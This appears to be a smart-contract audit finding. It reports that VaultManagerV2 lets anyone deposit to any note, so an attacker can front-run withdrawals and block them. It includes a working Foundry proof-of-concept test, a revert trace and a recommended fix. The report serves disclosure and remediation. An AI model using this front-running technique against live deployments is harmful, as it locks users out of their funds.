# Withdrawals can be DoS'd

## Impact
Malicious users can front-run and deny any withdrawal by just paying gas for a deposit.

## Severity
Likelihood: High - No preconditions.
Impact: Medium - Users can't withdraw while attack is active.
Severity: Medium

## Description
In VaultManagerV2.deposit#L125 we verify that the target note exists, but we don't restrict deposits to the vault owner nor require that the vault has been added to the note. The vault could even be a fabricated one to reduce costs for the attacker.

Any withdrawal can be front-run by a bogus deposit, which will update `idToBlockOfLastDeposit` for the note and make any withdrawals or redemptions revert for the block.

## Proof of Concept

Insert the following test into `test/fork/v2.t.sol`, and run it on a mainnet fork:

```
  function testFrontrunWithdrawals_Debug() public {
    // We license the vault manager to be able to mint DYAD
    vm.prank(MAINNET_OWNER);
    Licenser(contracts.vaultLicenser).add(address(contracts.vaultManager));

    DNft dNft = DNft(MAINNET_DNFT);
    
    // Add the vault manager to the OLD licenser to allow minting DYAD
    vm.prank(MAINNET_OWNER);
    Licenser(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).add(address(contracts.vaultManager));

    // We reset the DNft contract to be able to mint free DNfts
    vm.etch(address(MAINNET_DNFT), address(new DNft()).code);
    dNft = DNft(MAINNET_DNFT);

    uint id = dNft.mintNft(address(this));

    // Obtain weth
    vm.prank(MAINNET_WETH); // deal not working for me
    ERC20(MAINNET_WETH).transfer(address(this), 1 ether);

    // Add the weth vault and deposit 1 eth    
    contracts.vaultManager.add(id, address(contracts.ethVault));
    ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(id, address(contracts.ethVault), 1 ether);

    // Move to the next block to pass the flash loan protection
    vm.roll(block.number + 1);

    // Now we want to withdraw, but we are stopped from doing so
    address badguy = address(0xBAD);
    vm.prank(MAINNET_WETH);
    ERC20(MAINNET_WETH).transfer(badguy, 1);

    vm.startPrank(badguy);
    ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1);
    contracts.vaultManager.deposit(id, address(contracts.ethVault), 1);
    vm.stopPrank();

    // We can't withdraw
    contracts.vaultManager.withdraw(id, address(contracts.ethVault), 1 ether, address(this));
  }
```

```
    ├─ [1731] VaultManagerV2::withdraw(882, 0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3, 1000000000000000000 [1e18], PoCs: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ [557] 0xDc400bBe0B8B79C07A962EA99a642F5819e3b712::ownerOf(882) [staticcall]
    │   │   └─ ← [Return] PoCs: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
    │   └─ ← [Revert] DepositedInSameBlock()
    └─ ← [Revert] DepositedInSameBlock()

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.04s (2.72s CPU time)

Ran 1 test suite in 7.98s (6.04s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/fork/v2.t.sol:PoCs
[FAIL: DepositedInSameBlock()] testFrontrunWithdrawals_Debug() (gas: 2678413)
```

## Recommendation
Restrict deposits to the vault owner and require that the vault has been added to the note.
